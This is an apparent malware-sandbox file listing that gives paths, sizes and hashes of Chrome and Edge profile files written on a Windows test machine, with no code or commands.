T135D312D174BC69710BD8936CB7B21C027EF6C1CB640C79BDA6EB536B59D4EA80612C83
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 128KB
SHA256 e7f5a2169655946af5a36846bfbfd8c854676ad29c3ded48742fa745a498925e
MD5 db80b01a08cba4f8f061c93fe548df65
SHA1 56fe126f49df1f455982172402436d0dc9774e3f
SHA512 a2f1f7f56c2f4643ee39a4ccbaf023a8bb4ec96e161f20f6946ea43c9872e3521072abb288a5510046445441e12d42cc5599afa27d24298831abf36b733e0e8c
SSDEEP 3072:sycp4hk1OXqZ98w8g285FdvvhM++w6rgPHckxTKb:u461bZ9wg20MtriHc2A
TLSH
T1B5D312D174BC69710BD8936CB7B21C027EF6C1CB640C79BDA2EB536B69D4EA80611C83
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 6KB
SHA256 0c06354cbe058cf2059ef7941e0137b4ca543abed5f3bcbeaa3d7e694f6abc86
MD5 59c3f9362b9f829ac79154199d996266
SHA1 06916184b90d559d2fe96e2e36cea426e32dfd43
SHA512 b574d68b14d8c1e64ae65889710bd9c428391392c7452eaff70fa5545c212dff56fa4b37eec6bb835b115e57cc6cfa5404f1071731d5e4f81a911830663e9b15
SSDEEP 192:VtHAJr7fbyVlQiU2atMrcmxoQ4Y1aCgU6C:VtgtMQ33mxp4BCfl
TLSH
T158D13A71B46A7C375AF7E254B4122E43DFF4A2AB55419E68CAE60F0C00EB5DC1782423
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 128KB
SHA256 80b788a3272fd8462c7487c3d7c9fd72d829208358d3d25b1059c10c65237cfd
MD5 4c22304ff8a8861e8c40b84925dfcafe
SHA1 5b1fda29bfe6f16a9193ba4e79f429fa0dc52de8
SHA512 7621a8b643599b2792062a484af83469b61009451b688884b97a5e15efbee8432a9c71b280751d85bde7125bcd2aadbaf3b03f979b252d5765929ef26fd3baf4
SSDEEP 3072:eycp4hk1OXqZ98w8g285FdvvhM++w6rgPHckxTKb:8461bZ9wg20MtriHc2A
TLSH
T177D312D174BCA9710BD8936CB7B21C027EF6C1CB640C79BDA6E7536B59D4EA80612C83
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 db5efffa2a1fc8c638d0d916b16bc19721396b1c0452f95678bd4076510d47e1
MD5 f3b4a8fabf1a63fa7de9df01537206a6
SHA1 8f2535317c2c00750cc374f370f6f50cafa45696
SHA512 6f044d2d02f30639b75c83fc7b146d3f2964a5e384f2595756833717d1350f10511eae997d664d029fe70cae31a63e420be55a777ff8d71b080681c50dda0a64
SSDEEP 96:gC0d+qKJku7fby2f2eaPphrn3RDotok5g3DzB6AGyvODqLC/bjv4a:gC0AJr7fbyVlFDUD+tkFqLC/bH
TLSH
T1DAA11972F4665C3B5DB6D548B5122F03CFA4A2AB7862ABA4D9DD0F0C00EB1E81742527
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 398cbfe3c52e76cbd3e167d74e177867121a21bdedccfb715e205b3ef890373c
MD5 c0ef164bb27d9e88574751908d0062cb
SHA1 c5b04e3bde176a9438839eb18bcc039a80f5a197
SHA512 472a65d69e37aeabaf6fb75a98e0e1a92f7123c2b2f195f2ff790cdbad7b215cb3c9aca60c17ca1336c80e923a24fa97c32e3227cdb9fdcb7ba172e673d953db
SSDEEP 96:VC6cd+qKJku7fby2f2eaPph7nYSl8h4otop5gvDzB60GMvODcyXxwzjQ4Y1aCg0b:VCHAJr7fbyVlQiU2atMrcmxoQ4Y1aCgG
TLSH
T1ABC12A71B86A7C375AF79254B4122E43DFF4A2A75941AE68C9D60F0C00EB5DC1782413
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 5e248e7a53e580833a4fa64d14a98459a34a33de50871c803dfba5010346f8da
MD5 87204da1be19735270c7a192d32d394b
SHA1 2aa3ddc7aebcfab1293e50b9bb801deaaadd5bc6
SHA512 dc81f363d154347af599169f2bb77541ced715bd099b13faa97c4fcacb864f5b15feeb8df2d79c6b0f33493033b1d413a7ad5c7158f4f08cd6e8c6904efdc9b0
SSDEEP 96:VC6cd+qKJku7fby2f2eaPph7nYSl8h4otop5gItDzB60GyvODcyXxwzjQ4AmaCgG:VCHAJr7fbyVlQiU2ftMFcmxoQ4AmaCgG
TLSH
T14AC12A71F86A7C3759F7E654B4132E43DFA4A2AB9A41AE64D9E60F0C00EB5DC1382513
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 337373c4da28ee3002914faa7f66bd64bd0d39f2478ab28111896aef3d732e8e
MD5 1538b94629725dbea32dff25f55639b2
SHA1 133e292c7d10ee2edc74eda507e40b826be644bf
SHA512 ace9ab652f654068c864bb79cea4a34770b9e3e2dfeab9c984cbcd6625ccf3ed273271281737948f7076a7204abb9af1697268a6d42c8b81e2eed910356306c4
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
TLSH
T1DFB3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ffe13798c5910685872d371e84c30baa9eefaaa5db1419603eb30d473d7b2e37
MD5 03c111f9396889c77f6d9883c5df333f
SHA1 be65300843096dba92c5695fd35e2dffcbb7eb0a
SHA512 a77dfe3b48fcb72648f1adfafbf0d0fcd4d88690dcf41609a03e1d6b645d1336b6e322931b2205673283b920d20ed0225c6aa320a83a2d3a410771f18d120c19
TLSH
T1B1D09BD079145D78C4C1353231A773155A516435865C46481151F3BACD65141667E59D
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 fb5d8b40851e752c0dbf7697fd79a94b4dddb4fe56849f093ecbd79f65c5cac1
MD5 9c3444d21fe785546a280c678aeb4691
SHA1 3f5bab34732aade6681b6ea93d5f681c51b8f244
SHA512 e083b77fba604bbfad371da95fa499571f8cae2e6932540303a43ee93c5e970f7e953d064024824d7e5c21174e8d19ed9d2e4f905f9a139724bc26299b203201
TLSH
T101D0236039047429E284207130522301772244217EBDC308D020F30FCF3A04173EF0CF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7add6572365d752d8c3a090b9a256c43e3c5ff716f29ed7aa3c53dc57a08ba60
MD5 0da70f521ac5aee3489abf6e3eb4e375
SHA1 0f3cd9919820116ecc86bab93f4712c08485dc56
SHA512 a9cddd04863b2ac842fe4f91265c19a41d8b7442be8f07a91747705beca52c1e1d563e3c46cf68e1b73606695624f13ca69a8246653c2535d0684ced42c37d33
TLSH
T182D09BD479045D78C4C1353231A673155A616435DA5C46481051F3AACD65141667F5AD
MD5 SHA1 SHA512 TLSH

Submit Download

000003.ldb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.ldb
Size 330KB
SHA256 b868b0fbf4c08217dc8768a6fb80d8bc742d0c3938e9f53c082006295ee68069
MD5 acc7019830b5094305960a7dab3ba199
SHA1 57a25d713438b516419212bfa4afa7458c1c6040
SHA512 94ed6abe47a3807e472fe6322c835d48d372d882d0bd565d812fad1491d884562bf9332262489a4f2e3346d9ef3af27f64eab2db59c5a8fc9e594d9254f2a555
SSDEEP 6144:lrJal6K1U8TCEI97rUfbBDWEIYoIuxCgs08MnIznfRzwA1hJnys/vCkHx:lrcllWPEIegZrxCHj2I7fRzwA1hNri2x
TLSH
T1C27402F36C75D34B41B643CBD5FE74C6F6A98AD4640094FB610E4724A10F7827AE23AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 a8727af51bc56c3031b0897854bdc03fba6ca360aee8a391d01d96cfebedc128
MD5 5747be3e63aa99b630268c1bfe318c46
SHA1 f510599f7e97d55fd1d58236a5ce0ef3379a936c
SHA512 3b6ecfa1d80dc3bb3e714888c2ccea49929278cab4442521648d377cf708d564f9eb30ccc8086a6a7b87ea15a7f34123b8c036ee6c28379211d8ddcbb3e11955
TLSH
T1E5E026C896C8D32EBA44F64B62AC738CD3C13A4A92C8B9CB1740888C3005A90AA87990
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 3ea8e7c2e5233d268bf1d1677092b447c5a22af2e23b044a2038ec3b9a7dd657
MD5 e126c314d211a526a92c1d904d2bf0ff
SHA1 874a37de8cccdc78bce73af664f411e420d4736b
SHA512 c054df1135ce70c114cb9c7b60ba514d939a3e9bcb0d2233e8de462a4922fe3b1a9d059b675c198f5439ca78863d301e2e31d1a11fe30e401fbf38e0db0b2ff5
TLSH
T1C1E026D995CAC32EAA44E58F567C730C92A2B70A93C8BDCF1B60C494B403244A3879A0
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 352B
SHA256 eaef5f649c6e000aed854d3457ece8faa0bc3380f4e6e3c5cf49f5900259a4f6
MD5 d37413ff6500e4d9b72a3c4d737ea7db
SHA1 30c3f469c2719d4ce3f920b96f325548d465a891
SHA512 1e94590207491ce8bc51f8d6c8b03eedc6df9306380230a63bdc8c97c06c5c3bd583b81b84a3bbd87ffbbc981849cc180b922228d38d059c1dadc53886871a50
TLSH
T18AE0D8CEAB84CEA47DC2D547A09D7B7C5850608E9B49E8DB7AC874CE98C0400934BBA7
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 7c104fa39e6c582dbbbf1ce408b02b4d0e179769b87d6cae08b0e4979b0428a5
MD5 08dc9148ed63f655df8f90800ed7717f
SHA1 7a944ff54f669b1413c924746c5f893bbb93314f
SHA512 7fc026bb3a0cc3d9c0f388732ef6f10cbf65778b596bb6ee3fafb3a71b56f0a7690c0ada7bffef5952c8e8a890017bf52b8d6bf212138dec10eae0f066fe0f1b
TLSH
T107E026C8A6C8C7FE9B40E947516D630C92807A0F97C8B98B2784888435416A0B683BA4
MD5 SHA1 SHA512 TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001
Size 158B
SHA256 be2e2ad3d2d4437b412cb16a303d64dd4b6ab3083900a9d243427ec596d8eeed
MD5 6fff17dea4e1c6b71e66ba8e014949ae
SHA1 5669febf3b564d1634cc4fed80d3849e9a798721
SHA512 d2b57ebe94d2ef2a4bd23c9b1adef5c6184412a8242e7444f0172ef34217d44e28b52f0ce6c21321bdf41936e2dd277bccd55e1e7570e44b515371fe0f8ab52f
TLSH
T10BC08098B98C845DC285187EA726F00007606561941796135560BCC03140DB01E2E120
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_000066

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000066
Size 29KB
SHA256 945b1879933bbc5258e255af8c56c4875858f0129b99428afebf9ea8bc1c54d9
MD5 dc19fcb6d8c1dcead0ce6eb87aaf0d72
SHA1 f113f177cb1ce1d6350b71d905deeca581cb4e26
SHA512 d0427195840632ce55a634865ef43771957879ca1bdb55d8fad07a4996d4e0f3dfff8af583bd8365231e2b24c9d6880da5f7d82087d17e4bbad42bdc7544fed5
SSDEEP 768:tW5M611wnYrzb63j7R/KOjhAq+4uzCe++dK:Ev1hm3j7R/KQVruGl+dK
TLSH
T198D2E19BF3A18B478940263CB9734BC693FFA01424C5DD125758A8D47707FE0E8AA6F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fa697b4ba9b24570_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fa697b4ba9b24570_0
Size 3KB
SHA256 99cb30a982c2bdbf0b90c482af4d144b31d8fb1fde0fccdaa762550bdb7edfa7
MD5 ea78bb7220c386393e0046c3440945f3
SHA1 a5f288d3f0ac4b1143f2c419a923be90fed4f67e
SHA512 7ea91fcad1c90b6989ce846e16784c1fc969840fe5c55ed331912e4475efd6b2d8c4046e1b766a20593e6a77b9dbc7d43607229397b91f00a513423d6850e823
TLSH
T12D5119E3AB81BF2ED71412FE41864A31E330811C9AC6920F22A1C7341D0A2F76F9BD01
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 b4e0878b6d91d0135274d1077ad0befbf2f18f7824e991503a24640d1b6b341a
MD5 60b90bb1fa4101555721376aa7e342d5
SHA1 2b630f4ea5eb450f42ad6c4b17af0353b7e17ffe
SHA512 6386a6c9428b34282d78a0807e36dffc5262fd62abc564fe821e3670b33b40afe09426d2342c3b4fe69141ffb9fdbefc2c60a002f623f5418c46b7ad2874ad04
TLSH
T18C51516DAB2B3ED9C7704BFAA1E1589837F7D35A241F6FD24080F7724AC271150621B1
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a0ec6.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a0ec6.TMP
Size 2KB
SHA256 c3bfef33f092c36567d91ada22f805fc7551a322c0c298a575b6d522b9eec1e6
MD5 214f26ce2d61fe7b7fef33f8fa7e39e7
SHA1 0b516e976ba7280bc539b4d96ed9d1824626f5df
SHA512 0a7e410d6ae1cccf7173ab95fa810f0c4bca945dd512e91575ab85f34336298a3adc68a477381d0718342badb3fe4245e07bd4c048d1db0128151ceb2e36101d
TLSH
T1A75161AC6B2B3ED9C3314BF9A1D1498837F7D349241F9FD24480F3724AC270160A21B1
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 d869a9867b15f870c049b846d24289fafea064f970819ebad88716339b33d3e5
MD5 a605cb2c97a837ff4230e9af49a911f8
SHA1 5d02d03b7838cdb4810287366fb3555940148cb6
SHA512 6d7a7740fa9077f3b48255b594fbda0173de68f68946e5a5a99276c66cdf9fd22594220da64bba6e267d335db06a9585b6fe2e19a49c8f95c75dfc7cb8db6105
TLSH
T15351A2F783B4C66ECA1196F0AA186E2FCE6D0514432C7D6989E0AE1793E3471D141B9F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 c09b703cd37235aacc03f2dcec9d0a470d8ccab62a1bc01bcb528191874dcc03
MD5 1e852f45b2a0ec6654ef28ac7d412d9b
SHA1 3e32b7fc4db50bbe1829d9d1211fea13256e72b8
SHA512 a5c85d6e4840f8ce88c19d062720d5a6c6afadda1c9cbce24cbf14714bd2b8593da7cbe46d06cb9dea084fed28c0e0c4003fe3fa8f58aaff730848cc3d5aa17e
TLSH
T1D151C0F7C3F4C66ECA1196F0AA146E2FCE6D0514432C7C5989E4AE1793E3471E141A9F
MD5 SHA1 SHA512 TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 55396329612e0401b1355e722a96a44d54665382d369b20c0b7fcdd3c23e407e
MD5 17bbc1c00894ae77f06ca736112d14c9
SHA1 3a8b4f4646be5db85d4785dd3de47f72564dc903
SHA512 af7b03463e6f9cca46db6033425a86f6a7bd7a7fe6b018207b4c1451d8097275bc7decf41b2efc7bff373d8c96646f9cd20f33d9dcb81ac18e502706d851279c
SSDEEP 192:sxRKRiyM/jK1Ml8wCl/fGsUiCY8bNNZzoA8p9P/g6+WNP6B/YlZiVGzIgVKJ:sxRK88l/fGsUZY8Nk9/5g/ngg
TLSH
T11462E915A924697BCCDBD209FA457F93D6F85573A1941E44AAFCCA0C00E6BED2213C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 7c7514fbd4e4996cfc57a52dfe72ba78a3b65218f7f7d87f0ffd1d4a03186aa6
MD5 d5b433c5059f63124616125c5c619a6b
SHA1 cfcea04d5e85d6d1e33afd2ef65b1c427312f65e
SHA512 9b6be30d918915ef1c55f633b73e7a40e8d3bfb0b95753326e1df1033313708867c30b151d3480b6ae756f3a51e0fe7376afc80a1203457c83653d267df80ecc
SSDEEP 192:sxRZRiyM/jK1Ml8wql/fGsbiCY8bNNZzoA8p97/g6+WNPrGxZYlZ7iVGzIgD5KJ:sxRZ8Ql/fGsbZY8NkZ/5IZXgY
TLSH
T11E62D915AA247D77CCDBD209FA457F93D6F85573A1941E44AAFC8A0C00E6BED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 95192dca36386738b872cce63a0b432c38272d8563b6e2bff6ddd6bc2562f174
MD5 aafad0ca44af43e229237a1a080c18cd
SHA1 5a456ebfb51cdbe9ad7d6fd4a75a6e036b7cd7f5
SHA512 2786617285ee56e4ffb80119d6ba05bd599f139090512a64676c841e28f8e443938fae5d13fba6e8a7532a81c217c3dd939adabafaf398b86cb2eefddfc13722
SSDEEP 192:sxRZRiyM/jK1Ml8wCl/fGsbiCp8bNNZzoA8p97/g6+WNPrGxZYlZXZ/iVGzIgD56:sxRZ88l/fGsbZp8NkZ/5IZ/gg
TLSH
T15762D915AA247D77CCDBD209FA517F93D6F85573A1941E44AAFC8A0C00E6BED221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 8cd766ba76dcefb55a0fe2ee793bdcc21d14d9d828444371f7f5d9b62ab9ac74
MD5 bdd2725aab55eb0a9cb9ab4d5afb68c6
SHA1 fcacec9b651e5b1c7eeda240ad9523e9138696ff
SHA512 9144054037c7e7ca606a591052ac94f26bf41e2fe7ab16bb55616cd4604b0a750514c0ad5fce93f2c83f97c41dfc0e4519e17ea42f8d1e65f6381ccf86b0cd6a
SSDEEP 192:sxRZRiyM/jK1Ml8UQqCl/fGsbiCp8bNNZzoA8pX7/g6+WNPrGxZYlZXZ/iVGzIgg:sxRZ8qNl/fGsbZp8NkL/5IZ/gg
TLSH
T13962D815A9246D77CCDBD209FA517F93E6F85573A1941E44AAFC8A0C00E6BED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 b4b1f3c0c440a0946a5347366a4b44d0e61bd482e742e757bd95ff939bd30df6
MD5 36cb2c571ddef13c5304b492870df4e1
SHA1 236cd6d2d66b775366a076678389b21e36c005b0
SHA512 121bb793f2915e0a9a1103c5a9420c332695883517ecfa00111af6b7d3d9665770d0d84e0da6c3836ece1e72bc7ee487184e0ac8f2bc1a0e976ce2a098a04da0
SSDEEP 192:sxRZRiyM/jK1Ml8UQoCl/fGsbiCp8bNNZzoA8pX7/g6+WNPrGxZYlZXZ/iVGzIgg:sxRZ8qPl/fGsbZp8NkL/5IZ/gg
TLSH
T19B62D815A9246D77CCDBD209FA517F93E6F85573A1941E44AAFC8A0C00E6BED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 a86b1080f3e21aa4f02b6cb12431029a64fa26b79a15679297b4cffe7c8ac128
MD5 e9cdc74257c1acabd4b55d1eb4bdfb8d
SHA1 448fdc007296b2d00f34932e358012a9476239c6
SHA512 5fd4f84fe2df3df5efeb357ce54400b0d9ed0dbeb27136066633814804b75d0b653558b83ff5ed19e223742edc3f2610d0df4223633d3b1e1628e34f5f818b9e
SSDEEP 768:dhRAuj7pLuL7ExWgg+feJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVK13f/roPt6T:dhRAuVE7ExWgg+feJu1jadlfsF6T
TLSH
T10FE2EC3B680CCF7E4F844A9CEC29BE9A6DA802CF56D8C95447EA490C03C67EB55164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 370B
SHA256 08970a6abd7da1c5a4e4440d2d7dc5b9a742932b0aae80d1e395bc5300dec397
MD5 43a9121406022efcca32198575e8f5f2
SHA1 8a80182e541e2353fc081eeafce95dd96ff4bca4
SHA512 7e096536d18c49d678e89c1a5fbf8f00778d05764375fa1b6a13d5a3d80199cacd8228587aa258af99d7f6156a1bb7a079b6f9e3bfe469525f21a03e70b3ab94
TLSH
T1AFE0D8F67EE62410B97FD7E5207144F84542F854D858EC0E606AE6D7E4E53542C09D22
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 df76b87b50862b2ca43b5be861b215c318fff4804db8a993fef18d368b526f13
MD5 f69405c025876f529d9234f4799ff1cf
SHA1 05f3be0ec2881496ebadd588af3a8b9f5d8d1270
SHA512 bc647e063b567dc6387a6640a36b038bb11899c922d2c88384cd9780dc7d9607326855a358e5335b2cc4f9d5037d8e688d65a6a0c4db04eb246a437cd6268042
SSDEEP 96:KRlH0lHVlHAlHElH+lHilHmlHkWlHilHvlHPglelGK4lDglclGclWl+l9lMl+lX+:ClUl1lglklelClGl7lClPlYlelOlDglv
TLSH
T12991C5113A7B42C43D7E658C8578952B928370B33018B93B7BB911B75BAAD024DFF9C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 7921ca3fcfb838c08964e18716ef4ac15df0a0d9c4deee73460a9040d8e2739d
MD5 a16485354f3b53e7d64c286745b784fb
SHA1 01174542471b6db460b0a06e6c1ac71a02a1e5ba
SHA512 f315c5d2fb243f080565d3785541bb8986059b3c107bd669bb93b171330196c3944efb27d61b7a5c6f90dcbf37c095c0beec98aee6552a4361c80ef652b7dd77
SSDEEP 768:irv+4UNbdI3DW20AiJjzKNHXmTWTbc+HN0uTHBRH:ibsbi36QIz2eWn1t0cHvH
TLSH
T19413B071AC59AD33DDFAA6D8740B7E473EE8116385C80A98C8D92F4E028B59D171BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 36KB
SHA256 ef41c989a4f66e4f2e5164bad15f69683850b729314a1fae8b6cb63ddb0ae371
MD5 725431fc4cd61b08963f0edbcbf242e9
SHA1 b3885d884d6679465c716d902c1c3ec38f57735d
SHA512 f5fc0cfba53d99c302eaee00dd089372e817c68a49b8c2fa11bd3148797c1d7e6c142a889431325be551dce0ea5b3d27ff9f942b5a3e214fb10c501fd1ce401a
SSDEEP 768:tG36W2AFcjzTNHXmTWTbc+HN0uTHBzBuu:tG3dmz1eWn1t0cHVBz
TLSH
T17A039E75DC62EE37ACEAA3C5660ABE46AED4416385CC1DC4C8D96F0E01C759D071BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 c50c447974d75c7ef11aba73cdebae55f9e10f3e37eff09918b5ce65561fdb0a
MD5 96eaa8bc92be646b6ecba25ec9e39f30
SHA1 5ee10ecaa06581d5aeeac82816fa204dd9b06a02
SHA512 5d326246d40bf94172dade6d19e0ea0ea67badd313a0a4fdf73ba428dadc60a803612391a9e0a80f865686e3c43e19489801df3362a7bec65b07aed23acda041
SSDEEP 768:Jrv+4UNbdM3hJIiJjzrNHXmTWTbc+eNeVH1SvyZ:Jbsb+3EIzteWn1GEH1dZ
TLSH
T19D03CF319CA99E33ADF69788B04B7A473EF8116384C80B94C8D96F4E428B18D031BD37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 6ce17c0959d0e142269564223a0557536b78654f12e99fe1f1ce9eb513433807
MD5 16347ada337927370d2a7c5937a742e2
SHA1 66d56e146706ed00e47778e0f4052cce32a9bded
SHA512 45d871dcf1b865110aec844126dc4e137948f3592dd5a26cd688b0b29755b92cb02e50e716c7c0c1b83e12cb52dfcdecaaa0825548e1b92234a95adc59e4d1dc
SSDEEP 768:Gf3DW20AiJjzbNHXmTWTbc+HN0uTHBzBuu:Gf36QIzdeWn1t0cHVBz
TLSH
T154F2BFB1ACA2AD339CEEA2D8750B7E466EE4416385CC1A88C8DD6B0E018759D071BC37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 b8b037775f18ac4dbd7e2fd92fcf609dea20445a07ac45ea695710c71702306b
MD5 6aaff6afcead982fd052c084ac19ba5f
SHA1 7f18a0ea71acaa42a6d98706039fd99130665948
SHA512 197cddda09224790cf0941c7001307ebdb20a5ce85911c9b53a390ff5828dd4a64ff14e8615f5a9e9afbffa9511d84bd123e43f1a3a37f075d5048056a970e91
SSDEEP 768:1f33W20AiJjzTNHXmTWTbc+HN0uTHBzBuu:1f3GQIz1eWn1t0cHVBz
TLSH
T17AF2AFB1ACA6AD339CEEA2D8750B7F466EE4416385CC1E88C9DD6B0E018759D071BC37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 36KB
SHA256 4497bf50aea55c6f2910eaf2a87dbdfd3fc5468003f96eacf144656e7b092c39
